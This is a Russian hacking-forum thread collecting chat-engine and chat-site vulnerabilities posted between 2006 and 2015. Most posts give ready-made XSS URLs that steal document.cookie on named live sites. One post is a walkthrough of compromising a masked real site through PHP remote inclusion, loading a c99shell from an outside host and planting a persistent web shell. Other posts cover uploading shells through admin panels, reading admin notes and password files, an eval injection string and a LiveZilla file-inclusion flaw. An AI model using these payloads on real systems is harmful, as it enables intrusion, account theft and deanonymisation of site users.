Чаты Уязвимости чатов и Движков

Discussion in 'Веб-уязвимости' started by Nova, 27 Jun 2006.

  1. Nova

    Nova Green member

    Joined:
    15 Jul 2005
    Messages:
    1,233
    Likes Received:
    420
    Reputations:
    280
    ------------------------- Vodoo CHAT ---------------------------​
    Type:[XSS]
    Product: Voodoo chat
    Author: qBiN
    Exploit:
    Code:
    [color=darkorange]http://site.com/chat/go.php?url=javascript:alert(/Tested%20by%20qBiN/);[/color]
    Решение: фильтровать переменную урл,можно даже проверять её на валидность
    с помощью сокетов.
    ------------------------------
    Type:[XSS]
    Product: Voodoo chat
    Author: qBiN
    Exploit:
    Code:
    [color=darkorange]http://sitename/chat/password_reminder.php?look_for=%3Cscript%3Ealert(/qBiN test/);%3C/script%3E[/color]
    ------------------------------
    Type:[PHP Including]
    Product: Voodoo chat 1.0RC1b и возможно болие ранние версий.
    Источник: xakep.ru
    Пример:
    Code:
    [color=darkorange]http://sitename.com/[ScriptPath]/index.php?file_path=http://SHELLURL.COM?[/color]
    ------------------------------
    Type:FLOODER
    Product: Voodoo chat
    Author: NaX[no]r†
    exploit: http://www.balartrating.ru/flood.zip

    ------------------------- ЧАТ БОРОДИНА ---------------------------​

    Может матерьял немного стар но всёже http://antichat.ru/txt/chat_borodin/
    Видео лежит здесь http://video.antichat.net/videos/chat_borodin.rar

    Уязвимость нашел: Morph
    Автор статьи: Morph

    ------------------------- NAROD Chat ---------------------------​
    Type:[XSS]
    Product: NAROD Chat
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://www.yandex.ru/cgi-bin/customize.pl?yxqs="><script>alert(document.cookie)</script>[/color]
    ------------------------- Уязвимости конкретных чатов ---------------------------​

    Type:[XSS]
    Product: www.bazar.co.ua
    Author: max_pain89
    Exploit: Passive ХSS:
    Code:
    [color=darkorange]http://www.bazar.co.ua/?error[]=<script>confirm(/xxx/)</script>[/color]
    ------------------------------
    Type:[XSS]
    Product: www.sibchat.ru
    Author: [sL1p], Kaban
    Exploit: Passive ХSS:
    Code:
    [color=darkorange]http://www.sibchat.ru/gallery.php?sid='><script>alert(document.cookie)</script>
    http://www.sibchat.ru/card_help.php?sid="><script>alert(document.cookie)</script>
    http://www.sibchat.ru/register.php?sid="><script>alert(document.cookie)</script>[/color]
    ------------------------------
    Type:[XSS]
    Product: www.chatinez.zp.ua
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://chatinet.zp.ua/winter2005/party/?[color=red]001[/color]=6941337<a>%22%27"><script>alert(document.cookie)</script>[/color]
    При желании 001 Можно заменить на:
    002, 003, 004, 005, 006, 007, 008, 009, 010, 011, 012, 013, 014, 015, 016
    ------------------------------
    Type:[XSS]
    Product: www.smchat.ru
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://www.smchat.ru/?key="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?chatname=&key="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?ontopic=default&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?activate=&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?password1=&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?det=default&login="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?count=1000&key="><script>alert(document.cookie)</script>
    http://www.smchat.ru/?email=&key="><script>alert(document.cookie)</script>[/color]
    ------------------------------
    Type:[XSS]
    Product: www.chat.ru
    Author: [sL1p]
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://www.chat.ru/user/register.html?dop10=default&confemail="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?anotherpw="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?city=&name="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?action=default&username="><script>alert(document.cookie)</script>
    http://www.chat.ru/user/register.html?city=&year="><script>alert(document.cookie)</script>[/color]
    Комбинируя запросы можно реализовать гораздо больше xss чем в этом списке.
    ------------------------------
    Type:[XSS]
    Product: www.krovatka.ru
    Author: [sL1p], blackybr
    Exploit: Passive XSS:
    Code:
    [color=darkorange]http://klubnichka.krovatka.ru/k?f=45&newwin=1&id2=5816&id=5673xee7kY1Y&c=8"><script>alert(document.cookie)</script>
    http://klubnichka.krovatka.ru/f/e.cgi?c=6&n="><script>alert(document.cookie)%3B</script>
    http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn="><script>alert(document.cookie)%3B</script>
    http://klubnichka.krovatka.ru/sms/xp.cgi?mn="><script>alert(document.cookie)%3B</script>&ch=6&flag=0
    http://klubnichka.krovatka.ru/people/pp33.cgi?ch=6&nn=%3Cmeta+http-equiv=%3E%3C/title%3E%20%3Cscript%3Ealert(document.cookie)%3C/script%3E[/color]
    Для примера взят канал klubnichka, изменяя название канала естесственно можно реализовывать xss везде.
    ------------------------------
    Type:[XSS]
    Product: www.chatcity.ru
    Author: [sL1p]
    Code:
    [color=darkorange]http://www.Chat ID.chatcity.ru/people/pp33.cgi?c=Chat ID&nn="><script>alert(document.cookie)</script>[/color]
    Chat ID заменяем на адрес чата. У всех они в цифровом значении.
    ------------------------------
    P.s
    Если есть какието узявимости по движкам чатов или по каким-то конкретным чатам пишите мне в ПМ я добавлю суда.
     
    _________________________
    #1 Nova, 27 Jun 2006
    Last edited by a moderator: 15 Nov 2006
    7 people like this.
    1. .Slip

      .Slip Elder - Старейшина

      Joined:
      16 Jan 2006
      Messages:
      1,571
      Likes Received:
      977
      Reputations:
      783
      [PHP include] в Флеш Чате

      <------------------------------------------------------------------------------------------->
      Уязвимость существует из за прописанных двух инклудах в двух фчатовых файлах. Эти инклуды прописаны во всех версиях фчатов вплоть до версии 4.6.2 Вот эти файлы подвержены уязвимости:

      inc/cmses/aedatingCMS2.php
      inc/cmses/aedating4CMS.php


      Т.к. у меня на машине есть немало разных исходников всяких чатов, то конечно же у меня был и фчат. Открыв один из этих файлов, я увидел следующее:
      PHP:
      $aed_root_path realpath(dirname(__FILE__) . '/../../../') . '/';
      include(
      $aed_root_path 'inc/header.inc.php');
      require_once( 
      "$dir[inc]db.inc.php" );
      require_once( 
      "$dir[inc]admin.inc.php" );
      Эта часть в обоих файлах идентична. Инклуд можно проводить с любого файла. Вот мы и добрались до параметра dir[inc]. Вот он, висит кросавчег ;-)
      PHP:
      require_once( "$dir[inc]db.inc.php" );
      Как раз он нам и поможет сделать всё что нам нужно. Пора приступать к активным действиям.
      <------------------------------------------------------------------------------------------->
      Внимание. Здесь будет сохранена полная конспирация подопытного сайта. Надеюсь зачем это сделано объяснять не надо.
      Итак заходим на наш сайт: http://www.f**.net
      Смотрим о_О. Обычный развлекательный сайт. Форум, чат, всякая мурня. В общем как обычно:) Для начала находим там чат, форма входа в сам чат висит по адресу: http://www.f**.net/chat/
      Лучше и не придумаешь;-) Т.к. уязвим файл inc/cmses/aedatingCMS2.php
      То мы заходим по адресу:
      http://www.f**.net/chat/inc/cmses/aedatingCMS2.php
      Нашему взору открываются Warning'и.
      Это нам и надо. На фатал не обращаем внимания, он нам не помешает. Теперь составим нужный нам запрос, для инклуда шелла. Запрос будет исходить от файла inc/cmses/aedatingCMS2.php

      Нам известно что узвим параметр dir[inc].

      Его мы и используем. Таков будет начальный запрос:
      http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=

      Теперь осталось только прописать ссылку на шелл. Вот наш с99shell:
      http://slip-antichat.narod.ru/c99shell.txt

      Итог таков:
      http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=http://slip-antichat.narod.ru/c99shell.txt?

      Всё, шелл получен. Инклуд успешно произведён. Но наверно он нам нужен в каком то более надёжном месте? Я тоже так думаю:) Создаём php файл в дерриктории:
      /home/f**/www/

      Открывается небольшое поле, копируем туда весь код шелла, и сохраняем. Теперь наш шелл живёт по адресу:
      http://www.f**.net/futura.php
      Всё, мы закрепились на сайте уверенно;-) Теперь это будет F.a.q. по инклуду фчатов.
      <------------------------------------------------------------------------------------------->
      Отдельный thx Tem
       
      #2 .Slip, 11 Sep 2006
      Last edited: 13 Nov 2006
      17 people like this.
      1. Roba

        Roba Banned

        Joined:
        24 Oct 2007
        Messages:
        237
        Likes Received:
        299
        Reputations:
        165
        SinChat 1.0 beta1

        Type: [XSS]
        Product: SinChat
        Author: ZAMUT

        Passive XSS:

        Code:
        /chat/reg.php?error={XSS}&mail=&site
         /chat/showinfo.php?nick={XSS}
        

        Active XSS:

        Vuln code:
        /reg.php
        PHP:
         }else{
        $nick=$_POST['nick'];
        $pass=$_POST['pass'];
        $pass2=$_POST['pass2'];
        $mail=$_POST['mail'];
        $site=$_POST['site'];
        $sexe=$_POST['sexe'];
        $all="mail=$mail&site=$site";

        $error=0;

        ...

        if (
        $error==null){
        $PrintData="$nick::$pass::user::$mail::$site::$sexe\n";

        $fp=fopen("data/users.dat""a+");
        if(
        fwrite($fp,$PrintData)){
        $html="Пользователь зарегистрирован";
        }else {
        $html="Ошибка при регистрации";
                }
        fclose($fp);
        }
        Как видим, при регистрации не фильтруются входящие данные. Информация пишется в файл users.dat, наш код сработает в любом месте, где можем смотреть данные профиля. к примеру:
        Code:
        /chat/showinfo.php?nick=lol

        Art-Soft Mini Chat!

        Type: [XSS]
        Product: Art-Soft Mini Chat!
        Author: ZAMUT

        Active XSS:

        Vuln code:
        /write_msg.php

        PHP:
        include "option.php";
          
        $fl file($msg_file);
          
        $count_fl count($fl);
          
        $msg stripslashes(trim($_POST['msg']));
          
        $person trim($_POST['person']);
          if ((
        $msg != "") && ($person != ""))
          {
            if (
        $count_fl >= $msg_count)
            {
              
        $fw fopen($msg_file"w");
              for(
        $i=1;$i<$msg_count;$i++)    fwrite($fwtrim($fl[$i])."\r\n");
            }
            
        $time strftime("%H:%M:%S"time());
            
        $fp fopen($msg_file"a+");
            
        $fw fwrite($fp$person."¤".$time."¤".$msg."\r\n");
            
        fclose($fp); ?>   
        Уязвимые поля: "Имя", "Сообщение". Чат не требует регистрации.
         
        1. USAkid

          USAkid Elder - Старейшина

          Joined:
          17 Jun 2008
          Messages:
          191
          Likes Received:
          76
          Reputations:
          29
          PHP-SPB
          Из личного опыта решил написать кое что о чатах на движке Бородина и php-spb. Юзал первый раз 3 года назад. Сейчас вспомнил вдруг про некоторые уязвимости.

          1. Заливка шелла через админку чата

          Если у вас есть доступ к админке чата, то вы можете залить туда шелл следующим способом:
          Заходите в админку, открываете "HTML/JS/PHP шаблоны всех скинов", выбираете скин (желательно def, если стоит другой). Далее открываете файл __skin1.php (или __skin2.php). И вставляете туда php код шелла.
          Для того чтобы открыть его необходимо в браузере набрать:
          Code:
          http://site/chat/skin/имя_каталога/__skin1.php
          имя_каталога - это тот самый def или другой куда вы лили шелл.

          2. Просмотр админских записей в модуле "Записная книжка в админке"

          В модуле "Записная книжка в админке" все работает по принципу: fopen, fread, fputs и fclose. Следовательно никакой шифровки записей нет и они хранятся в открытом виде в файле. По дефолту (как ставят 90% админов чатов) записная книжка хранится в директории: src с названием notebook.txt .
          Для чтения открываем:
          Code:
          http://site/chat/src/notebook.txt
          и читаем, что пишут админы.
          Особенно обратите внимание, что если используется новая админка (adminka Doom edition), то там адрес будет такой:
          Code:
          http://site/chat/src/notebook_adm.dat
          P.S: фокус иногда не срабатывает из-за .htaccess

          3. Модуль "Антиреклама в чате" aka "Цензор"

          Просмотр того, что админы запретили писать в чате, думая, что это реклама.

          По дефолту данные хранятся и записываются в файл bwrds.dat в корне чата (большинство админов так и оставляют, из-за лени или непонимания кода модуля).
          Открываем из браузера:
          Code:
          http://site/chat/bwrds.dat
          и спокойно читаем содержимое файла.

          4. Просмотр ссылок, которые по идее могут видеть "только" админы с определенным уровнем доступа.

          В чате справа снизу есть маленький фрейм. От имени юзера мы можем видеть только обычные ссылки, которые для нас и предназначены. Но для модераторов и администраторов там есть специальные ссылки, которые юзерам недоступны. Для их просмотра делаем следующее:

          4.1 Узнаем название директории, где хранится скин, который установлен в чате по-умолчанию:

          Открываем персональные настройки в чате, далее смотрим исходный код страницы и ищем код следующего содержания:

          Code:
          <option value="dir_name" selected>по-умолчанию<option value="dir_name" selected>имя_скина</select>
          dir_name - это то, что нас и интересует.

          4.2 Открываем в браузере ссылку данного вида:
          Code:
          http://site/chat/skin/dir_name/frame_more_admin.html
          Где site - адрес сайта, chat - путь до чата, skin - папка со скинами чата, dir_name - имя директории со скином по дефолту, frame_more_admin.html - файл, где хранятся данные с секретными ссылками.

          5. "Чтение паролей при локальных инклудах на сайте или чате"

          Обнаружил совсем недавно данную уловку (около 4-ех месяцев назад).

          Секрет в том, что если помимо чата стоит сайт с уязвимостью php-injection или в самом чате есть такая. (главное - нужен локальный инклуд).

          Все пароли юзеров и админов чатов версии > 4.07, на движке php-spb хранятся в директориях daemon/db2 в файлах, с зашифрованным названием. ... При удаленном инклуде действуем так:

          5.1 Узнаем какой файл нам нужен. Для этого ставим чат у себя на компе. Как это сделать можно почитать тут:
          Code:
          http://php.spb.ru/chat/readme.html#win
          После установки регистрируем полностью похожий ник, который мы хотим из другого чата. Далее заходим в чат на компе под админом и открываем инфу того юзера. Снизу будут разные ссылки, нажимаем на "Скрытые поля в инфе юзера" и смотрим файл БД. Он то нам и нужен.

          5.2 Далее просто вводим:
          Code:
          http://site/chat/script.php?include=путь_до_этого_файла.db2
          Пароль будет в таком виде:

          "pass";s:19:"password";

          password - это будет наш пароль.

          На данный момент пока все, что знал сам из личного опыта пользования чатами на этом движке :)
          (c) USAkid 2008
           
          1 person likes this.
          1. gemaglabin

            gemaglabin Green member

            Joined:
            1 Aug 2006
            Messages:
            772
            Likes Received:
            842
            Reputations:
            1,369
            Встретилось мне за день две разных версии Elfchat - 5.2.1 и 4.2.1, по доркам у 99 процентов не удален скрипт установки install.php (<= 5.0) install/ (>= 5.), где имеется возможность поменять пароль администратору.

            В админ панели пятой версии есть eval-консоль, в версиях ниже решается php code injection в файл конфига - ${@eval($_POST[1])}
             
            3 people like this.
            1. YaBtr

              YaBtr Members of Antichat

              Joined:
              30 May 2012
              Messages:
              601
              Likes Received:
              350
              Reputations:
              652
              LiveZilla <= 5.0.1.4

              Type:[Remote Code Execution / Local File Inclusion]
              Источник:[www.cureblog.de ]
              CVE: [2013-6225]
              Файл: [mobile/php/translation/index.php]
              Уязвимый код:
              PHP:
              $langFileLocation '.';
              $LZLANG = Array();
              if (isset(
              $_GET['g_language'])) {
                   
              $language = ($_GET['g_language'] != ") ? $_GET['g_language'] : 'ein';
                   require (
              $langFileLocation . '/langmobileorig.php');

              $LZLANGEN = $LZLANG;
              if (file_exists(
              $langFileLocation . '/langmobile'. $language . '.php')) {
                   require (
              $langFileLocation . '/langmobile' . $language . '.php');
              }
               
              1. CKahn

                CKahn New Member

                Joined:
                18 Aug 2015
                Messages:
                1
                Likes Received:
                0
                Reputations:
                0
                Type:[XSS]
                Product: chatvdvoem.ru
                Author: CKahn
                Exploit: отправить сообщение:
                Code:
                Image_msg: x" onError="alert('xss')"
                В теории можно вставить скрипт для получения id вк и деанонить пользователей сайта
                [​IMG]